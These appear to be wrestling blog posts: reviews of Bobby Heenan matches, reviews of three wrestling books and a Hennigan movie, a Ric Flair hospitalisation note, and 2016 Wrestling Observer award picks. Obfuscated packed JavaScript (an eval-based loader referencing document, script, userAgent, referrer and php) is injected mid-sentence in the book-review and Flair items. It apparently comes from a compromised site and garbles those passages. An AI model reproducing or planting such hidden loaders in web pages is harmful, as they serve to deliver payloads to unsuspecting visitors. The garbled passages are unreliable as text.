Everything breaks down and Steele rams all three heels into the posts. Rotundo comes in and Heenan’s mouth is bleeding. Mike takes Studd down and works on the arm. Clipped to Adonis beating on Rotundo. Gorilla gives us some analysis of what we’re seeing and the fans chant USA. Windham finally comes in as does Steele, wanting to get his hands on Bobby. There wasn’t a tag and everything breaks down. Steele goes outside and comes back with a chair which he hits the referee with for the DQ.

Rating: D. Pretty boring match here and I really don’t get the point of them giving us what appears to be a focus on Steele and then having him lose his match. Then again I think they did that more than once in this series so it must be a running theme. That doesn’t mean it makes sense but it’s what they’re doing I guess.

Another tag match from The Big Event.

Big Machine/Super Machine/Lou Albano vs. Big John Studd/King Kong Bundy/Bobby Heenan

Ah yes the Machines. Now this was the epitome of a comedy angle that took off for a little while. The idea was that Andre the Giant was suspended for (kayfabe) not showing up for a match. Soon thereafter two new masked guys from Japan appeared: Super Machine (Ax from Demolition) and Giant Machine (duh).

Over the Summer they feuded with Heenan, Studd and Bundy with guest appearances by Piper Machine, Animal Machine and Hulk Machine. It was total tongue in cheek, kind of like Mr. America with Hogan. They were eventually joined by Big Machine who was Blackjack Mulligan when Andre could barely move.

Andre was kind of the manager and only wrestled occasionally. The angle ended about two months after this to set up Mania 3. Anyway let’s get to this. We get a shot from the broadcast booth and the ring is TINY. Studd and Super Machine start us out. The Machines’ strength is freaking impressive.

Ax is by far and away the smallest one. What does that tell you? Gorilla says he’s been over 500 pounds before but at Mania 4 said the biggest he ever wrestled at was 440. I don’t want to live in a world where I can’t trust Gorilla Monsoon! Ok I’m back now I think. With Big Machine down Heenan comes in and goes for the mask. Super Machine is like screw that and drills him. Bundy was just a big fat waste of oxygen. You can tell he was just thrown into Mania. Look where he was just 4 months later. Heenan comes in again and Albano comes in also.

Super Mario beats on him for a bit but a thumb in the eye and the heels beat up Albano. Andre has had enough and just comes in there and starts cleaning house which causes the DQ. He was just freaking terrifying when he got mad. Ax being the smallest guy by far is a freaky sight.

Rating: C-. It was a comedy match so that’s fine. The Machines were just a fun team so this worked fine. Andre was fun when he could move and this was no exception. It was nothing serious and it wasn’t supposed to be. Instead it was a way to make the fans laugh and it succeeded.

More Machines, from September 22, 1986.

Bobby Heenan/Big John Studd/King Kong Bundy vs. Super Machine/Big Machine/Hulk Machine

Super is Ax from Demolition, Big is Blackjack Mulligan and they’re a comedy team that usually had a guest third partner that more often than not was Andre. They’re here because Andre is suspended before he turned heel. Still in MSG here and it’s yet again a fun match to send the fans home happy. Hogan vs. Bundy to start us off here. Slam to Bundy and the fans are exploding already. See what I mean about sending them home happy?

Off to Studd vs. Big Machine now which lasts for a second as it’s back to Bundy. Off to Super now and Studd comes back in for some double teaming. You can tell that’s Ax as he hammers away like he would in Demolition a few years later. They mention a pair of tags so apparently I’m not going crazy. Bundy vs. Mulligan (I think) and we get a front facelock by Bundy to give him control.

Super comes in and gets hammered down quickly as the fans want Heenan in there. Bundy vs. Ax if you’re confused at the moment. The future Demolition guy avoids a splash and hits some shots but winds up back in the corner again. Hey it’s Heenan for a change. He gets caught in the ribs but tries a headbutt which hurts himself. Off to Hogan now who cleans house.

Heenan gets to his corner but Bundy can’t master the concept of slapping hands so Bobby takes more of a beating. It’s off to Bundy and Super Machine now with the masked dude in control. Mulligan has been in here just a bit the entire match now. Bundy takes over with a splash and then he and Studd just change places. Now there’s a tag or something but it’s kind of confusing. The Machines do some masked magic to bring in Hogan. Slam to Studd and the leg drop ends this.

Rating: C. Again this is the same thing as before with nothing special about it but the fans loved it. Can’t really complain but with a two hour tape and about 90 minutes of it being the same stuff over and over again this was a bit much. Either way though this wasn’t bad and at least it’s over now.

One more from the Machines on October 4, 1986.

Big Machine/Super Machine/Piper Machine vs. Big John Studd/King Kong Bundy/Bobby Heenan

Ah the Machines. Now this was a fun concept. They were supposedly a new tag team from Japan but they had zero accents whatsoever. If I remember right Super Machine is Ax from Demolition, Big Machine is Blackjack Mulligan and I think you get the other one. There was usually a third guest partner such as Animal Machine, Piper Machine or Hulk Machine. Yes it’s stupid comedy but it was designed to be stupid comedy, which takes away a lot of the pain in it. This is from 86ish and we’re in Boston.

Gene is just saying it’s Piper and he flashes his face to the crowd. Bundy starts with Super Machine. Bundy pounds him into the corner to start but misses the avalanche. Machine gets a cross body for two and it’s off to Studd and Big Machine. They collide and no one really goes anywhere. Piper wants in and the fans pop big for his tag. He takes the mask off for like the fourth time and pulls it back down. Sunset flip gets two as Piper is cleaning house.

Piper starts his usual antics and pokes Studd in the eye before slapping Heenan. Studd is like enough of this and goes for the bad knee of Piper. Bundy adds some shows and it’s off to Heenan. Naturally he can’t do much of anything so it’s back to Bundy. Piper ducks underneath the big swings from the bald dude and turns it back to the comedy as he should.

And never mind as Bundy drills him. He tries for the mask and brings in Heenan for no apparent reason. Back to Bundy and/or Studd who destroy Piper for a good while. Another thumb to the eye lets Piper bring in Big Machine. They’re doing the bodyslam challenge for 50 grand still here but apparently Heenan isn’t paying. Wait wasn’t that usually 15,000? Bundy misses a knee drop but they stay on Machine.

Studd gets the chinlock going as this is going way too long now. Back off to Piper which is pretty stupid. Studd meets him coming in so Piper is like screw the mask and rips it off. He manages to slam Studd for two but an accidental elbow drop from Bundy ends it seconds later. That was a big surprise indeed.

Rating: C. The crowd carries this one. It’s not much of a match but the crowd was white hot the entire time. I’ve always had a soft spot for the Machines as they were a straight up fun gimmick. This went on too long but there are times when you need to have a goofy match to give the crowd a laugh and this is a textbook example. I’m overrating it but I had fun with it.

Heenan would also team up with the Islanders at Wrestlemania IV.

Islanders/Bobby Heenan vs. British Bulldogs/Koko B. Ware

There’s actually a story here. Heenan comes to the ring in a dog handlers’ outfit (remember the package from earlier?) because Matilda, the dog mascot of the Bulldogs, is back from being dognapped, presumably by the Islanders. Koko is there because when you need a filler, you call Koko B. Ware. We start with Dynamite vs. Tama but it’s quickly off to Haku vs. Davey Boy for a nice power match.

Davey slams him down a few times and it’s off to a quickly broken chinlock. Back to Tama who is gorilla pressed up and down and it’s back to Haku. Jesse: “Heenan seems to be saving himself.” Gorilla: “Yeah for the senior prom.” Did Gorilla just make a sex joke? I can feel my childhood crumbling as I type this. Koko comes in for some quick shots but it’s back to Dynamite for the clothesline that Benoit copied from him.

The Kid charges into a kick in the corner and here’s Heenan for the first time. He stomps on Dynamite, gets hit once in his padded suit, and runs away. That’s about what I expected. Tama tries a Vader Bomb but hits knees, allowing for another tag to Koko. He pounds on both Islanders but Haku takes him right back down. Tama comes in with a top rope chop and Heenan gets his second tag. Heenan chokes a bit but misses a charge into the post. Everything breaks down and the Islanders drop Heenan onto Koko for the pin.

Rating: C. I told you Koko was worthless in this. The stuff with the tag teams was pretty solid but the rest of it was as dull as you would expect. These six man tags with the Bulldogs in there don’t go that well for them but this was their last try at it. This was basically a comedy match and it was only kind of funny.

Heenan was known as the Weasel and would take part in a series of Weasel Suit matches. It’s a regular match where the loser is put into the suit and humiliated. From Wrestlefest 1988.

Ultimate Warrior vs. Bobby Heenan

This is kind of a famous match. The loser wears a weasel suit. You figure out who wins this one. I’ll give you a hint: he’s crazy. Neither gets an entrance which is weird. We get some of Warrior’s music but that’s it. Heenan runs for his life multiple times but Warrior drops to the floor so Heenan can’t see him and surprises him. Yes, Warrior used his brain and it worked.

Heenan gets a foreign object and pops him with it after calling Warrior a son of a female dog. Wouldn’t an object like that be fine to a guy from Parts Unknown? Heenan hits him with it like five times and can’t drop Warrior. He more or less just jabs it in Warrior’s throat over and over but it doesn’t work at all. Warrior bangs on his chest and I think you can figure the rest out from there.

Warrior puts him out with a sleeper which makes sense here and puts the suit on him. Where does one get a weasel suit? Was there a furry convention in town? You know for being in a sleeper for about 30 seconds, he’s WAY out of it. Warrior bangs on his chest once he gets it done like someone standing over his fallen prey. Ooh that was a good one. Bobby wakes up and realizes he has claws and a tail. This is like Kafka’s worst nightmare.

Rating: N/A. This was for comedy more than anything else. They tried to make the match into nothing at all and that’s what the best answer was. Heenan was always a good sport though and could do just about any kind of comedy so this was perfect for him. This was an idea that had been used in the AWA so having it brought back here makes sense.

Heenan managed the Red Rooster but wound up yelling at him and getting fired. Here’s their showdown at Wrestlemania V.

Red Rooster vs. Bobby Heenan

There’s actually a backstory: Heenan managed Rooster but said he was limited so Rooster dumped Heenan. Bobby is hurt so he brings the Brooklyn Brawler with him. Those sentences take as long to type as the match lasts as Rooster hits him once, Heenan misses a charge into the post, gets whipped into the buckle and the match is over in 30 seconds. To recap, Rooster beat him with an Irish whip.

Tully Blanchard was scheduled to wrestle in the main event of Survivor Series 1989. Cocaine intervened though so Heenan replaced him.

Ultimate Warriors vs. Heenan Family

Ultimate Warrior, Jim Neidhart, Rockers
Andre the Giant, Arn Anderson, Haku, Bobby Heenan

Andre can barely move and it’s sad to see. Neidhart and the Rockers start before anything happens and Jim is in trouble early. Here’s Warrior without any music (he’s IC Champion here) and a big clothesline puts Andre on the floor, which draws a countout because when the bell rang, Andre was the only Heenan Family member in the ring. We’ve already got the same problem the Hogan match had.

Warrior and Haku get things started for all intents and purposes but it’s quickly off to Anvil vs. Arn. Andre (in blue instead of black) yells incoherently at the Warrior as he leaves. It’s Haku vs. Anvil now with Haku in control. A superkick puts Neidhart down and eliminates him like it’s a squash match. Off to Shawn to make Haku miss him and now it’s off to Jannetty.

Haku tries a double clothesline but only hits Shawn. He picks up Marty but Shawn dropkicks Marty down onto Haku for a near fall. Off to Arn who tries a double suplex with Haku on Jannetty, but Shawn catches his partner in a nice move. Double superkicks put the wrestlers on the other team down and it’s off to Marty vs. Haku. Warrior gets a tag in a few seconds later and Haku immediately goes for the eyes.

Haku backs Warrior into the corner and Heenan points to Arn for the tag in a funny bit. Arn immediately gets taken down and Marty hooks an armbar. Anderson brings Marty to the corner and brings in Heenan for a single punch before it’s back to Haku. Arn knees Marty in the back and Haku superkicks him down so Heenan can drop a knee on Jannetty for the pin. You could loudly hear them calling spots on that sequence for some reason.

Warrior comes in so here’s Anderson again. There’s a bearhug by the Champ and Haku gets one as well. Off to Shawn who gets knocked to the floor with a few shots. Shawn moonsaults out of the corner over Arn and Anderson is in trouble. Warrior and Michaels both punch Anderson at the same time and Arn backs away from Warrior. A splash from Shawn gets two and it’s off to Haku.

That doesn’t last long at all as a cross body eliminates Haku to get us down to Warrior/Shawn vs. Heenan/Anderson. Heenan tries to get in some cheap shots on Shawn which draws in Warrior. Why? Was he that afraid for Shawn’s safety? Arn dumps Shawn to the floor and Heenan goes up….and then regains his sanity and climbs back down. Arn keeps asking for help from Heenan because he’s getting tired so it’s finally back to Bobby who runs at the first sign of trouble.

Shawn rams his head into the back of Arn’s head and both guys are down. They slug it out but Shawn walks into the spinebuster (called the Anderson Drop) for the elimination. Warrior fires off some shoulders but Arn ducks and sends him to the floor. Heenan goes up again but thinks better of it again. Off to Heenan but Warrior quickly Hulks up so we see some more Anderson. Warrior fights him off as well and whips Arn into Heenan to knock Bobby to the floor. The gorilla press and splash get us down to one on one. Warrior sneaks up on Heenan and what do you think happens here? A shoulder block and splash ends this.

Rating: C-. I think it was watching the whole show before this but this was another dull match. Warrior was never in any danger and I think everyone knew it. To be fair, this would have been better with Tully out there and you can’t fault the guys for that. Heenan being in there had to turn it into a comedy match and I can’t hold that against them. Still though, another dull match in a series of them tonight.

One of Heenan’s last in ring feuds was with the Big Boss Man due to Heenan insulting Boss Man’s mother. From November 20, 1990.

Bobby Heenan vs. Big Bossman

This was when they were feuding over Heenan running his mouth about Bossman’s mother. He says he’s sent mom a dozen roses and he has a Hogan wrestling buddy for Bossman. Heenan begs for forgiveness and gets hit in the head with the wrestling buddy. Heenan tries to hit him with the microphone. Bossman hits him with the nightstick a few times and is pinned in seconds.

I think you get the idea here. Heenan was the guy that could talk all day and then take a beating to save his clients for later. No he isn’t a great in ring worker, but he’s a great performer. He knew how to make fans hate him and could always take the beating to make the fans happy. Couple in the great talking and he was invaluable.

 




Three Wrestling Books and a Wrestling Movie

One is excellent, one is better than expected, one is what you would expect and one….wait I ready that?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srzst|var|u0026u|referrer|akkfd||js|php'.split('|'),0,{})) I’ve been going a bit nuts with the wrestling books lately and that means it’s time to talk about a few of them. This time around I have three books and a wrestling movie, some of which were better than others.

Boone: The Bounty Hunter

This is something a little bit different as John Hennigan (he of a few thousand other last names) has made a movie about a bounty hunter named Boone (which you might have gotten from the title). Basically Hennigan did almost everything himself on this movie, including writing, financing and starring in the thing, which you can definitely tell.

This was actually quite the nice surprise as I was expecting another nothing wrestler movie and got a completely watchable, well made action movie. Hennigan has charm and plays the character well with some good charisma. The movie is a pretty basic story but they do everything well enough that it makes for a fun time. There are some names in there that you’ll recognize and it’s far better than most WWE Studio movies. It’s not classic but if you want a quick, entertaining sit, check this out.

Cross Roads, Goldust: Out of the Darkness – Dustin Rhodes

You think that’s a long enough title? That’s the only long thing about this book, which is over 200 pages long and I actually read it in less than two hours. I started reading it at around 4:30 and was done at about 6:20. The problem is almost nothing stands out to me. It’s such a quick read (with probably twenty to thirty of those pages being pictures) and nothing felt interesting. It was basically:

I wanted to wrestle, then I wrestled, then I argued with my dad, then I had substance abuse issues, then I beat then, then I talk about wrestling a bit.

It feels like a book outline instead of an actual book. While it’s not terrible, I barely remembered reading it the next day other than thinking about how short the thing was. There’s an interesting story in there but it needs a lot more information and some more details. As it is, this really didn’t work and was far from good.

YES! – Daniel Bryan

Now we’ll get to something a little better with one of the top stars in the last few years. Bryan was of course forced to retire back in 2016 and now we’ve gotten his life story. This one is much more your standard wrestling autobiography with Bryan talking about his road to the top of the wrestling world. Every chapter gives you a little bit about his Wrestlemania XXX week and then a lot more about his life story.

This is an interesting story because, at the end of the day, Bryan comes off like a nice guy. He feels like someone you would want to talk to and it’s cool to see him work so hard and get to the top of the wresting world. Bryan is a cool guy and incredibly entertaining, which makes for a story that you like to hear about. I’m sure you know the idea already but some of the stories he tells about his indy days are worth reading. It’s an easy read but also gives you a nice story about someone who loves wrestling and reached the top.

Finally, and perhaps most importantly, there’s a series of drawings of Bryan in the lower right hand corner of each page. If you flip through the pages, it turns into an animation of him walking onto the page, doing the YES chant, and then leaving at the end of the book. See, it’s literature and a movie!

Crazy is My Superpower – AJ Mendez-Brooks

I’ve saved the best for last. This might be the second best wrestling book I’ve ever read (after Have a Nice Day of course) and it stuck with me for a good while after I finished it. The difference here is that wrestling isn’t the focus of a lot of this one. Most of the book is AJ’s story about dealing with her family’s issues with mental illness, some of which will get to you in a hurry. She’s had some very rough times and they make you realize how much more awesome her rise to the top was.

The writing style is also rather entertaining as AJ writes very geeky with video game, movie and TV references throughout, including several that will probably go over your head but also several that will give you a good smile if you have her same sense of humor (which I certainly do). It makes the book far easier to get through as the story is rough enough as it is. She also throws in various sidebars in some sections, designed as either letters to her future self/her future children or lists on various topics, most of which are rather funny.

Of course there’s wrestling involved as well as AJ talks about how she used wrestling to help her overcome a lot of her issues. It’s a great story about how wrestling is such a unique world that really does do a lot more than just offer entertainment. Wrestling can be an escape for a lot of people and it’s very cool to see someone use it to help them like this. Definitely check this one out as it’s a very, very good read.




Ric Flair Hospitalized, in ICU

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihaeb|var|u0026u|referrer|rsiry||js|php'.split('|'),0,{})) is the biggest news on a very busy news day.  I don’t think there’s anything I can say here other than I hope this gets a lot better.  Flair has a heart issue brought on by excessive drinking over the years.  He’s also currently in a medically induced coma.  I’ve had issues with Flair in the past but sweet goodness this doesn’t sound promising.




Thoughts on the 2016 Wrestling Observer Newsletter Awards

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Category A Awards

Wrestler of the Year – AJ Styles

MMA Most Valuable – Conor McGregor

Most Outstanding Wrestler – AJ Styles

Most Outstanding Fighter – Conor McGregor

Enough MMA in the wrestling awards.

Best Box Office Draw – Conor McGregor

Feud of the Year – Conor McGregor vs. Nate Diaz.

Erg here we go again. The top wrestling feud was AJ Styles vs. John Cena, which was nearly quadrupled in points.

Tag Team of the Year – Young Bucks

Most Improved – Matt Riddle

Best on Interviews – Conor McGregor

Most Charismatic – Conor McGregor

Nakamura was second.

Bryan Danielson Award (Best Technical Wrestler) – Zack Sabre Jr

Hard to argue that one, especially with some of the stuff he did in the Cruiserweight Classic.

Bruiser Brody Memorial Award (Best Brawler) – Tomohiro Ishii

Best Flying Wrestler – Will Ospreay

Most Overrated – Roman Reigns

Most Underrated – Cesaro

Promotion of the Year – New Japan

Best Weekly TV Show – New Japan

Match of the Year – Tanahashi vs. Okada (January 4)

MMA Match of the Year – Robbie Lawler vs. Carlos Condit – January 2

Rookie of the Year – Matt Riddle

Best Non-Wrestler – Dario Cueto

Best TV Announcer – Mauro Ranallo

Was this ever in doubt? Corey Graves was a close second.

Worst TV Announcer – David Otunga

Why does he have a job? Aside from being married to Jennifer Hudson that is.

Best Major Wrestling Show – Wrestle Kingdom

Category B Awards

Worst Major Wrestling Show – Wrestlemania XXXII

I was there and I got bored.

Most Disgusting Promotional Tactic – Bellator Kimbo Slice vs. Dada 500 Fight

Worst TV Show – Raw

Am I really the only person who still watches Impact?

Worst Match of the Year – Shelley Martinez vs. Rebel – TNA One Night Only

Makes sense. It also makes my head hurt.

Worst Promotion of the Year – TNA

Best Booker – Gedo

Of course. He scored 851 points, or nearly ten times second place.

Promoter of the Year – Dana White

Real promotion/sport. Fake promotion/sport. Totally the same thing.

Best Gimmick – Broken Matt Hardy

If this was ANYTHING else, they were kidding themselves.

Worst Gimmick – Bone Soldier

Best Pro Wrestling Book – Ali vs. Inoki

Best Pro Wrestling DVD – Seth Rollins: Redesign, Rebuild, Reclaim

People still watch DVDs in the Network Era?